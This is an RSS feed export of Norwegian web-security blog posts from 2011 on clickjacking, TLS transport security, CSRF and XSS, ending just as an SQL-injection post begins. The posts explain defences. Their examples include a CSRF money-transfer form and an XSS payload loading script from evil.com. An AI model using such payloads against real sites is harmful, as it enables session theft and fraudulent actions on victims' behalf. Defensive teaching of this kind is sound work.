<h2 style="text-align: center;"><a href="http://open.bekk.no/wp-content/uploads/2011/05/flashdialog.png"><img class="size-full wp-image-5210" style="text-align: center;" title="Flashdialog" src="http://open.bekk.no/wp-content/uploads/2011/05/flashdialog.png" alt="Flashdialog" width="250" height="159" /></a></h2>
<h3>Hva kan jeg som bruker gjøre?</h3>
<p>Pluginen NoScript til Firefox er den som per dags dato gir brukere best beskyttelse mot Clickjacking. NoScript beskytter ikke bare mot Clickjacking, men er generelt en god plugin for å stramme inn hvilken funksjonalitet (script, plugins o.l.) som får lov til å kjøre på den gjeldende siden. På sider som har kode som tilsynelatende kan være Clickjacking-angrep presenteres brukeren med en dialogboks som viser elementet pluginen mener kan være ondsinnet, med spørsmål om å fortsette eller avbryte.</p>
<h2 style="text-align: center;"><a href="http://open.bekk.no/wp-content/uploads/2011/05/noscript.png"><img class="size-full wp-image-5211" style="text-align: center;" title="NoScript" src="http://open.bekk.no/wp-content/uploads/2011/05/noscript.png" alt="NoScript" width="400" height="251" /></a></h2>
<p>Andre gode forhåndsregler man som bruker kan ta er å</p>
<ol>
<li>Huske å logge ut</li>
<li>Unngå nettleseres auto-complete</li>
<li>Holde nettleser-plugins oppdatert</li>
</ol>
<p>Ved å logge ut av sider en angriper kan ha interesse av å utnytte før man forlater dem hindrer man angrepene som baserer seg på at offeret er logget inn i den gjeldende nettleser-sesjonen.</p>
<p>I mer sofistikerte angrep har også angripere klart å logge brukere inn på sidene som har blitt utnyttet, da nettleseres auto-complete fyller inn brukernavn og passord for sider som lastes i iframes. Da trengs ett klikk for å logge en bruker inn, for så å kunne fortsette et angrep. Ved å slå av auto-complete unngår man dette.</p>
<p>Det siste punktet er til en hver tid å holde plugins oppdatert, som også er en god regel generelt for å hindre andre typer angrep. For eksempel har nyere versjoner av Flash-pluginen blitt forbedret, slik at angrepet Grossman og Hansen utnyttet ikke lenger fungerer fordi dialogboksen ikke lenger kan gjøres usynlig for brukerne.</p>
<h3>Hva kan jeg som utvikler gjøre?</h3>
<p>Den ene av de to vanligste løsningene for å beskytte funksjonalitet mot Clickjacking for utviklere er å kreve eksplisitt verifikasjon fra brukeren for å bekrefte at dette faktisk er en forespørsel brukeren ønsker å gjøre. Dette hindrer Clickjackingen ved å innføre ekstra steg som krever mer interaksjon fra brukeren enn bare ett klikk. For eksempel kan man bruke en CAPTCHA, eller kreve passord før brukeren får fortsette.</p>
<p>Den andre løsningen er å ta i bruk HTTP-headeren <strong>X-Frame-Options</strong>. Microsoft introduserte med IE8 headeren X-Frame-Options som instruerer nettlesere til å aldri vise siden i en iframe, eller til å bare tillate at siden vises i iframes fra samme domene. Denne oppføreselen får man ved å sette headeren til <strong>deny</strong> eller <strong>sameorigin</strong>. Denne løsningen fungerer veldig bra, og er også implementert av de andre store nettleserne som Firefox, Chrome, Safari og Opera. For å implementere X-Frame-Options effektivt må headeren inkluderes på alle sider en vil beskytte mot Clickjacking.</p>
<h3>Oppsummering</h3>
<p>Heldigvis har de fleste Clickjacking-angrep hittil vært mer eller mindre harmløse. Dog har vi i de siste månedene sett en dramatisk økning i antall, spesielt rettet mot Facebook &#8211; der brukere til stadighet blir lurt til å poste status-oppdateringer og “like” andres sider når de egentlig tror de ser morsomme filmer på Youtube. Den gode nyheten er derimot at du som bruker som kommer veldig langt i å beskytte deg ved bare å huske å logge ut av sider du er ferdig med å bruke!</p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/clickjacking/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Usikret kommunikasjon</title>
		<link>http://open.bekk.no/usikret-kommunikasjon/</link>
		<comments>http://open.bekk.no/usikret-kommunikasjon/#comments</comments>
		<pubDate>Wed, 13 Apr 2011 20:49:31 +0000</pubDate>
		<dc:creator>Ståle Pettersen</dc:creator>
				<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=5038</guid>
		<description><![CDATA[OWASP Top 10 prosjektet har rangert usikret kommunikasjon som nummer 9 basert på risiko. Svakheten innebærer at konfidensialitet og integritet av informasjon ikke er tilstrekkelig ivaretatt mellom server og klient.]]></description>
			<content:encoded><![CDATA[<p><a rel="external" href="http://www.owasp.org/index.php/Top_10_2010-Main">OWASP Top 10</a>-prosjektet har rangert usikret kommunikasjon (“Insufficient transport layer protection”) som nummer 9 basert på risiko. Svakheten innebærer at konfidensialitet og integritet av informasjon ikke er tilstrekkelig ivaretatt mellom server og klient.</p>
<h2>Hva er usikret kommunikasjon?</h2>
<p>Usikret kommunikasjon er når sensitiv informasjon blir transportert over en usikret kommunikasjonskanal. HTTP og JDBC er protokoller som transporterer data usikret. HTTP eksponeres som regel til sluttbruker over internett, og JDBC eksponeres internt mellom applikasjonsserver og databaseserver. Dersom en angriper lytter på den usikre kommunikasjonen mellom server og klient kan sensitiv informasjon som kredittkortnummer, helseinformasjon, passord, autentisering- eller sesjonsinformasjon leses av angriperen. Selv om sensitiv informasjon sendes sikkert med TLS i et vanlige bruksmønster, er det viktig å garantere at det aldri blir sendt over HTTP. En må derfor tilse at for eksempel innloggingssiden kun er tilgjenglig over TLS, og ikke på HTTP. I tillegg finnes det usikre ciphers i eldre versjoner av TLS og SSL som gjør kommunikasjonen usikret.</p>
<h2>Hvordan utnyttes usikret kommunikasjon?</h2>
<p>En utnytter usikret kommunikasjon ved å lytte til trafikken som går mellom klient og server. Et eksempel; dersom en ansatt i firma X befinner seg på en konferanse og er pålogget et åpent trådløst nettverk, er sensitiv informasjon som sendes over HTTP tilgjengelig for alle innenfor rekkevidden til nettverket. Det er utvikler og drifter av nettstedet sitt ansvar å påse at ingen sensitiv informasjon kan leses i en slik kontekst.</p>
<p><strong>Usikret kommunikasjon av brukernavn og passord</strong> oppstår dersom innloggingssiden er tilgjenglig på HTTP og HTTPS. Da er det bruker som har ansvar for å velge den siden som ivaretar sikker kommunikasjon. En angriper kan lure brukeren til HTTP-innloggingssiden, og dermed lese brukernavn og passord når brukeren logger seg inn. Det er dårlig sikkerhetspraksis å ha innloggingsskjemaet på HTTP, selv om skjemaet sendes over TLS. Brukeren har ingen visuell garanti for at informasjonen blir sendt over TLS. En har heller ingen garanti for integriteten til innlogginssiden, og med integritet menes forsikring om at nettsiden er umodifisert. Dette åpner for at en angriper kan endre innloggingsskjemaet til å sende informasjonen over HTTP (<a rel="external" href="http://www.thoughtcrime.org/software/sslstrip/">SSLstrip</a> er et gratis verktøy som automatiserer akkurat slike angrep).</p>
<p>Sider som krever at brukeren er logget inn med gyldig sesjonsinformasjon må kun være tilgjengelig på TLS. Dersom slike sider er tilgjengelig på HTTP er det <strong>usikret kommunikasjon av sesjonsinformasjon</strong> som gjør at en angriper vil kunne stjele informasjonen ved å lytte på det trådløse nettverket og dermed logge inn som andre brukere.</p>
<p>Det er også usikret kommunikasjon dersom det brukes <strong>svak kryptering- eller integritetalgortime</strong>. Det er viktig å påse at det ikke brukes algoritmer med kjente svakheter, som for eksempel SSLv2.</p>
<h2>Hvordan unngå usikret kommunikasjon?</h2>
<p>Det er viktig at all sensitiv informasjon sendes over sikre kommunikasjonskanaler. I nettsider bør følgende prinsipper implementeres for å unngå usikret kommunikasjon.</p>
<h3>Innloggingside kun tilgjengelig over TLS</h3>
<p>Dette gjør at en angriper ikke kan manipulere innloggingsider. TLS garanterer integritet, gitt at siden ikke inneholder andre sikkerhetsfeil som <a rel="external" href="http://open.bekk.no/cross-site-scripting/">XSS</a> eller <a rel="external" href="https://www.owasp.org/index.php/Web_Parameter_Tampering">parameter tukling (&#8220;Parameter tampering&#8221;)</a>.</p>
<h3>Sesjonsinformasjon sendes kun over TLS</h3>
<p>Det anbefales at sesjonscookie har secure-flagget satt. Dette gjør at nettleseren aldri sender sesjonscookie over HTTP.</p>
<h4>Eksempel</h4>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;">Set<span style="color: #339933;">-</span>Cookie<span style="color: #339933;">:</span> sesjon<span style="color: #339933;">=&lt;</span>random<span style="color: #339933;">&gt;</span> Path<span style="color: #339933;">=/</span>accounts<span style="color: #339933;">;</span> Expires<span style="color: #339933;">=&lt;</span>dato<span style="color: #339933;">&gt;</span> HttpOnly<span style="color: #339933;">;</span> Secure</pre></div></div>

<p>Når en bruker skriver inn http://bank.com/sikker/ i nettleseren sin, mottar nettleseren en &#8220;HTTP redirect&#8221; som videresender brukeren til HTTPS. Denne videresendingen skjer over HTTP, og en angriper kan derfor manipulere dette. For å redusere risikoen for slik angrep kan en bruke HTTP headeren <a rel="external" href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">Strict-Transport-Security</a>. Dette forteller nettleseren at den alltid skal bruke HTTPS for et domene i en gitt tidsperiode. Typisk blir tidsperioden satt til en måned, noe som vil redusere muligheten for angrep betraktelig. Headeren er støttet av Chrome og Firefox 4.</p>
<h4>Eksempel</h4>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;">Strict<span style="color: #339933;">-</span>Transport<span style="color: #339933;">-</span><span style="color: #003399;">Security</span><span style="color: #339933;">:</span> max<span style="color: #339933;">-</span>age<span style="color: #339933;">=</span><span style="color: #cc66cc;">2600000</span> <span style="color: #339933;">;</span> includeSubDomains</pre></div></div>

<h3>Sider som krever innlogging bør kun være tilgjenglig over TLS</h3>
<p>Sider som krever autentisering bør kun være tilgjenglig over TLS, inkludert bilder, CSS og Javascript-filer. Det kan være tilfeller der det er ønskelig at mindre sensitiv informasjon skal vises på sider som ikke blir sendt over TLS. I disse situasjonene anbefales det at det settes to sesjonscookies ved innlogging, en med secure-flagg for de sensitive sidene, og en uten secure-flagg for de mindre sensitive sidene (f.eks viser <a rel="external" href="http://linkedin.com">LinkedIn</a> brukernavnet du er innlogget som på HTTP sider). For alle sensitive handlinger må da sesjonscookien, som har secure-flagget satt, kreves.</p>
<h3>Bruk kun sikre algoritmer i TLS konfigurasjonen</h3>
<p>En del servere har fortsatt usikre kryptering- og integritetsalgoritmer skrudd på som standardinnstilling. Dette bør fjernes fra lastbalanserere, webservere, applikasjonsservere og rammeverk. De fleste nettlesere aksepterer ikke usikre ciphers og protokoller, som SSLv2, men en del eldre rammeverk og applikasjonsservere har usikre algoritmer i standardinnstillingene som en må være påpasselig med å fjerne. Qualys har laget  gratisverktøyet &#8220;<a rel="external" href="https://www.ssllabs.com/ssldb/index.html">SSL Server test</a>&#8221; som analyserer SSL konfigurasjonen til en server og påpeker eventuelle svakheter i oppsettet.</p>
<h3>Gyldig sertifikat</h3>
<p>Verifiser gyldigheten til sertifikatet og hvem som har signert dette. Sørg for at signerer er en tiltrodd tredjepart. Dette er spesielt viktig i systemer der advarsler om ugyldig sertifikat kun blir skrevet til logger, f.eks mellom applikasjonsserver og databaseserver.</p>
<h2>Les mer</h2>
<ul>
<li> <a rel="external" href="https://www.owasp.org/index.php/Top_10_2010-A9">OWASP Top 10 2010 &#8211; A9 Insufficient Transport Layer Protection</a></li>
<li> <a rel="external" href="http://www.thoughtcrime.org/software/sslstrip/">SSLstrip</a></li>
<li> <a rel="external" href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">Strict-Transport-Security</a></li>
<li> <a rel="external" href="https://www.ssllabs.com/ssldb/index.html">SSL labs &#8211; SSL Server test</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/usikret-kommunikasjon/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Beskytt deg mot cross-site request forgery</title>
		<link>http://open.bekk.no/cross-site-request-forgery/</link>
		<comments>http://open.bekk.no/cross-site-request-forgery/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 06:00:45 +0000</pubDate>
		<dc:creator>Thomas Gøytil</dc:creator>
				<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[Cross Site Request Forgery]]></category>
		<category><![CDATA[CSRF]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=4594</guid>
		<description><![CDATA[Cross-site request forgery (CSRF) er et angrep der en angriper sender en forespørsel på vegne av en annen innlogget bruker. Angriperen har da mulighet til å utføre de handlingene som brukeren har rettigheter til i webapplikasjonen. Her viser vi hvordan du kan sikre din webapplikasjoner mot CSRF.]]></description>
			<content:encoded><![CDATA[<p>På OWASP sin liste over topp 10 sårbarheter (<a href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">OWASP Top 10 2010</a>) er CSRF rangert som nummer 5. Cross-Site Request Forgery er et angrep der en angriper sender en forespørsel på vegne av en annen innlogget bruker. Angriperen har da mulighet til å utføre de handlingene som brukeren har rettigheter til i webapplikasjonen.</p>
<h3>Hva er cross-site request forgery (CSRF)?</h3>
<p>CSRF er et angrep der angriperen lager en request og får denne sendt til en annen webapplikasjon på vegne av offeret. Angrepet krever at offeret er innlogget i webapplikasjonen angriperen ønsker å utføre handlinger i. Grunnen til at et CSRF-angrep fungerer er måten nettleseren automatisk sender med cookies når den utfører en request. Hvis en bruker er innlogget i en webapplikasjon og nettleseren gjør en request mot denne, så vil alle cookies som er satt for dette domenet også følge med. Dette medfører at webapplikasjonen ser at denne brukeren er autentisert og lar derfor brukeren utføre de handlingene han har rettigheter til å utføre. En angriper vil med andre ord ha mulighet til å utføre de handlinger som brukeren har rettigheter til å utføre. Dette kan være å overføre penger i en nettbank eller endre passord på en blogg.</p>
<h3>Hvordan utføres et CSRF-angrep?</h3>
<p>For å utføre et cross-site request forgery-angrep så må offeret være innlogget i webapplikasjonen som er sårbar for CSRF-angrep. Angriperen vil da lure den innloggede brukeren inn på en webside som inneholder kode som sender et request mot den sårbare siden. For å få den innloggede brukeren til å navigere til angriperen sin webside så kan angriperen sende en epost (typisk spam), benytte &#8220;social engineering&#8221; til å lure offeret eller liknende.</p>
<p>La oss ta et fiktivt eksempel på en nettbank som er sårbar for CSRF. Offeret har akkurat logget på &#8220;nettbank-alpha.com&#8221; for å sjekke saldoen sin. En angriper sender da en epost til brukeren, som klikker på linken i eposten. Dersom nettbank-alpha hadde brukt GET-requester for å overføre penger fra en konto kan angrepet se slik ut:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://nettbank-alpha.com/transferMoney?amount=10000&amp;amp;toAccount=12345678” /&gt;</span></span></pre></div></div>

<p>Når brukeren besøker denne websiden vil nettleseren gjøre en request mot nettbank-alpha.com som utfører handlingen transferMoney med parameterne amount=10000 og toAccount=12345678. Nettbanken ville da overføre 10000 til konto 12345678. Hvis nettbanken krever POST-requester for å utføre handlingen kan angrepet se slik ut:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://nettbankalpha.com/transferMoney&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;transferMoney&quot;</span> &gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;amount&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;10000&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;toAccount&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;12345678&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span>
&nbsp;
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;</span>window.onload=document.transferMoney.submit();<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></pre></div></div>

<p>Dette eksempelet viser samme angrep som over, bare at det brukes et skjema med skjulte felter for å holde på parameterne, og JavaScript for å sende skjemaet. Legg merke til at input taggene til skjemaet er hidden, så med mindre brukeren ser på den faktiske HTML koden vil han/hun ikke se noen av disse verdiene.</p>
<h3>Hvordan sikre din applikasjon mot CSRF</h3>
<p>Som vi så i eksempel 2 så er det ikke nok å kun akseptere POST-requester for å beskytte seg mot et CSRF. For å sikre en webapplikasjon mot et CSRF-agnrep kan man benytte seg av et “Synchronizer Token Pattern”. Synchronizer Token Pattern betyr at serveren legger inn et skjult felt med en engangstoken i skjemaer som utfører en kritiske handlinger. En kritisk handling vil i vårt eksempel være å overføre penger fra en konto til en annen. Det er viktig å poengtere at en engangstoken er unik for brukeren. Det betyr at token er assosiert med sesjonen til brukeren. Dette gjør at en angriper som har tilgang til samme webapplikasjon ikke bare kan bruke en token han/hun får generert fra applikasjonen.</p>
<p>Når skjemaet først blir hentet ned, så genereres en engangstoken på serversiden, og legges med i skjemaet som et skjult felt. Når brukeren da submitter skjemaet så følger tokenet med og verifiseres på serversiden. Engangstokenet vil da bli sammenlignet med det serveren opprinnelig genererte. Hvis disse to er like utføres handlingen. Om en webapplikasjon håndterer skjemaer på denne måten er en angriper på forhånd nødt til å vite hva den genererte engangstoken er for å utføre et angrep. Det er derfor viktig at  tokenet er tilfeldig og langt nok til at det ikke kan gjettes av en angriper.</p>
<p>For å gjøre generering av engangstoken enklere kan man for eksempel bruke OWASP CSRF Guard. OWASP CSRF Guard er et bibliotek som implementerer en versjon av Synchronizer token pattern for å reduserer risikoen for et CSRF-angrep. CSRF Guard støtter to måter å injisere tokens i skjemaer, JavaScript DOM manipulering eller via et eget JSP-tag bibliotek. JavaScript DOM manipulering injiserer tokens automatisk, mens JSP-tag biblioteket må brukes for hvert enkelt skjema.</p>
<p>For de som bruker andre språk enn Java så finnes OWASP CSRF Guard også til .NET og PHP. Du kan lese mer om OWASP CSRF Guard på <a href="http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project">CSRF Guard Project</a>. For andre språk som ikke er støttet av CSRF Guard har man også mulighet til å implementere sin egen versjon av Synchronizer token pattern.</p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/cross-site-request-forgery/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cross-site scripting</title>
		<link>http://open.bekk.no/cross-site-scripting/</link>
		<comments>http://open.bekk.no/cross-site-scripting/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 16:24:00 +0000</pubDate>
		<dc:creator>Anja Svartberg</dc:creator>
				<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[Cross site scripting]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=4634</guid>
		<description><![CDATA[Cross-Site Scripting (XSS) svakheter er en av de vanligste sikkerhetsfeilene i webapplikasjoner. XSS er rangert som nummer 2 i OWASP top 10, rett etter injection-feil. Svakheten kan oppstå alle steder der bruker-input presenteres tilbake til brukerene uten at det valideres eller escapes. Ved å utnytte slike svakheter, kan en angriper stjele vilkårlige data, brukernavn, passord, [...]]]></description>
			<content:encoded><![CDATA[<p>Cross-Site Scripting (XSS) svakheter er en av de vanligste sikkerhetsfeilene i webapplikasjoner. XSS er rangert som nummer 2 i OWASP top 10, rett etter injection-feil. Svakheten kan oppstå alle steder der bruker-input presenteres tilbake til brukerene uten at det valideres eller escapes.</p>
<p>Ved å utnytte slike svakheter, kan en angriper stjele vilkårlige data, brukernavn, passord, cookies etc., fra brukere, eller lage ormer som sprer seg gjennom nettsiden. XSS-svakheter kan brukes som et startpunkt for mer avanserte angrep som utnytter feil i nettlesere eller plugins til å ta kontroll over brukerens datamaskin. Dette kan medføre at angriperen tar kontroll over brukerens datamaskin eller på andre måter utfører handlinger på vegne av andre brukere &#8211; for eksempel ved hjelp av CSRF, som beskrives i en senere post i sikkerhetsserien.</p>
<h2>Hva er XSS?</h2>
<p>Ved Cross-Site Scripting angrep utnytter angriperen en svakhet i webapplikasjonen som gjør det mulig å injisere vilkårlig kode som kjøres i brukerens nettleser. Det er mest vanlig at dette er JavaScript, men det kan også være HTML, Flash eller annen kode som kan eksekveres av nettleseren. Scriptet opptrer som en del av den siden koden blir injisert i og har derfor tilgang til cookies, session-tokens og annen informasjon som nettleseren bruker innenfor det angrepne nettstedet.</p>
<h2>Hvordan utføres XSS?</h2>
<p>Det finnes to varianter av XSS, Stored og Reflected XSS.</p>
<p><strong>Reflected XSS </strong>kan skje når bruker-input sendes tilbake til brukeren fra request-parameterene i URLen. Eksempelvis kan en lenke med script sendes til offeret via e-post. Når offeret klikker på lenken presenteres den aktuelle siden for brukeren samtidig som scriptet kjøres. Dette scriptet kan endre siden eller utføre andre handlinger som offeret ikke ønsker, som å sende cookie-verdier eller annen informasjon til angriperen.</p>
<p>Vi har en side med et enkelt søkefelt:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;search&quot;</span><span style="color: #66cc66;">/</span>&gt;</span></pre></div></div>

<p>der søkeparameteren er inkludert i URLen:</p>

<div class="wp_syntax"><div class="code"><pre class="url" style="font-family:monospace;">www.eksempel.no/?search=Cross+Site+Scripting</pre></div></div>

<p>Denne parameteren skrives rett ut i søkeresultat-siden:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"> <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;search&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Cross Site Scripting&quot;</span><span style="color: #66cc66;">/</span>&gt;</span></pre></div></div>

<p>En angriper kan unytte dette ved å legge til et script i tillegg til det forventede søkeordet, og sende dette som en link til et offer:</p>

<div class="wp_syntax"><div class="code"><pre class="url" style="font-family:monospace;">www.eksempel.no/?search=Cross+Site+Scripting&quot;/&gt;&lt;script+src=&quot;http://evil.com/evil.js&quot;&gt;&lt;/script&gt;</pre></div></div>

<p>I dette tilfellet blir resultatet som følger:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;search&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Cross Site Scripting&quot;</span><span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://evil.com/evil.js&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span>&quot;/&gt;</pre></div></div>

<p>der angriperen har lagt til en script-tag som peker på et skadelig script.</p>
<p>Hvis parameteret ikke valideres eller escapes før det skrives ut i siden, vi dette scriptet kjøre som en del av den originale siden.</p>
<p>Ved <strong>Stored XSS</strong> lagres den injiserte koden, og den vil presenteres for alle brukere som forespør denne informasjonen. For en angriper et er vanlig å se etter steder å injisere koden et sted der det er sannsynlig at mange brukere vil kjøre koden. Eksempler på dette er forumer, kommentarfelter elller liknende. Da vil den injiserte koden kjøres i nettleseren til alle brukere som aksesserer denne siden.</p>
<p>I motsetning til forrige eksempel er målet med dette angrepet å treffe alle brukerne av en nettside. I dette tilfellet har vi eksempelvis et kommentarfelt der input fra brukeren ikke valideres eller escapes.</p>
<p>Angriperen kan skrive inn følgende i kommentarfeltet:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://evil.com/evil.js&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></pre></div></div>

<p>Hvis dette ikke valideres eller escapes vil det skrives tilbake til alle brukere og scriptet vil kjøres i nettleseren for alle brukere av siden som kan se kommentaren.</p>
<h2>Hvordan unngå XSS-angrep?</h2>
<p>Det beste tipset er å bruke webrammeverket sin innebygde mekanisme for å escape alt dynamisk innhold som vises til brukeren.</p>
<p>Man unngår problemet ved å escape input riktig i forhold til konteksten der data skrives ut. Artikkelen <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">Cross Site Scripting prevention cheat sheet</a> definerer åtte forskjellige kontekster, som hver må escapes på sin måte. Input må for eksempel escapes på forskjellige måte avhengig av om den skal skrives ut som en del av et html-atributt, mellom html-attributter, som en del av en url eller som innhold i en JavaScript variabel.</p>
<p>Husk at disse reglene også gjelder når man gjør endringer i siden med JavaScript (f.eks. med jQuery).</p>
<ul>
<li>Ikke sett inn data utenfor tillatte lokasjoner.<br />
Ikke sett inn data du ikke stoler på direkte i script, HTML-kommentarer, attributtnavn eller tagnavn.</li>
<li>Bruk HTML-encoding når data legges inn mellom HTML-tagger<br />
For eksempel bør følgende tegn erstattes:&nbsp;</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #ddbb00;">&amp; --&gt; &amp;amp;</span>
<span style="color: #009900;">&lt; --&gt;</span> <span style="color: #ddbb00;">&amp;lt;</span>
&gt; --&gt; <span style="color: #ddbb00;">&amp;gt;</span>
 &quot; --&gt; <span style="color: #ddbb00;">&amp;quot;</span>
 ' --&gt; <span style="color: #ddbb00;">&amp;#x27;</span>
 / --&gt; <span style="color: #ddbb00;">&amp;#x2F;</span></pre></div></div>

</li>
<li>Bruk HTML-attributt-encoding når data skrives i HTML-attributter</li>
<li>Bruk JavaScript-escaping når data skrives som innhold i JavaScript strenger (alle ikke-alfanumeriske tegn escapes med hex- eller unicode-escaping)</li>
<li>Bruk CSS-escaping når data skrives som innhold i CSS</li>
<li>Bruk URL-escaping når data skrives som en del av en URL</li>
</ul>
<p>Da de fleste webrammeverks innebygde mekanisme for å escape innhold ikke nødvendigvis har støtte for alle de nevnte kontekstene bør dette undersøkes. I de kontekstene der det ikke er støtte bør man velge andre måter å escape på. Det finnes biblioteker som kan hjelpe med escaping i de fleste av de nevnte tilfellene, som for eksempel <a href="http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/HTMLEntityCodec.java">OWASP ESAPI</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;">String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( &quot;input&quot; ) );</pre></div></div>

<p><strong>Ressurser</strong></p>
<ol>
<li><a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet</a></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SQL-injection</title>
		<link>http://open.bekk.no/sql-injection/</link>
		<comments>http://open.bekk.no/sql-injection/#comments</comments>
		<pubDate>Thu, 03 Mar 2011 08:05:54 +0000</pubDate>
		<dc:creator>Rune Walsø Nergård</dc:creator>
				<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[sql-injection]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=4201</guid>
		<description><![CDATA[Hvis man tar en titt på OWASP Top 10 2010, som ifølge OWASP var de mest kritiske sikkerhetsrisikoene i webapplikasjoner i år 2010, finner man injeksjonsangrep på toppen. Dette skyldes at injeksjonsårbarheter dessverre fortsatt er vanlig å finne i webapplikasjoner. I tillegg er de er ofte enkle å utnytte og et vellykket injeksjonsangrep kan ha [...]]]></description>
			<content:encoded><![CDATA[<p>Hvis man tar en titt på <a href="http://www.owasp.org/index.php/Top_10_2010-Main">OWASP Top 10 2010</a>, som ifølge OWASP var de mest kritiske sikkerhetsrisikoene i webapplikasjoner i år 2010, finner man injeksjonsangrep på toppen. Dette skyldes at injeksjonsårbarheter dessverre fortsatt er vanlig å finne i webapplikasjoner. I tillegg er de er ofte enkle å utnytte og et vellykket injeksjonsangrep kan ha alvorlige konsekvenser. Blant injeksjonsangrepene er <a href="http://www.owasp.org/index.php/SQL_Injection">SQL-injection</a> det mest utbredte.</p>
<h2>Hva er SQL-injection?</h2>
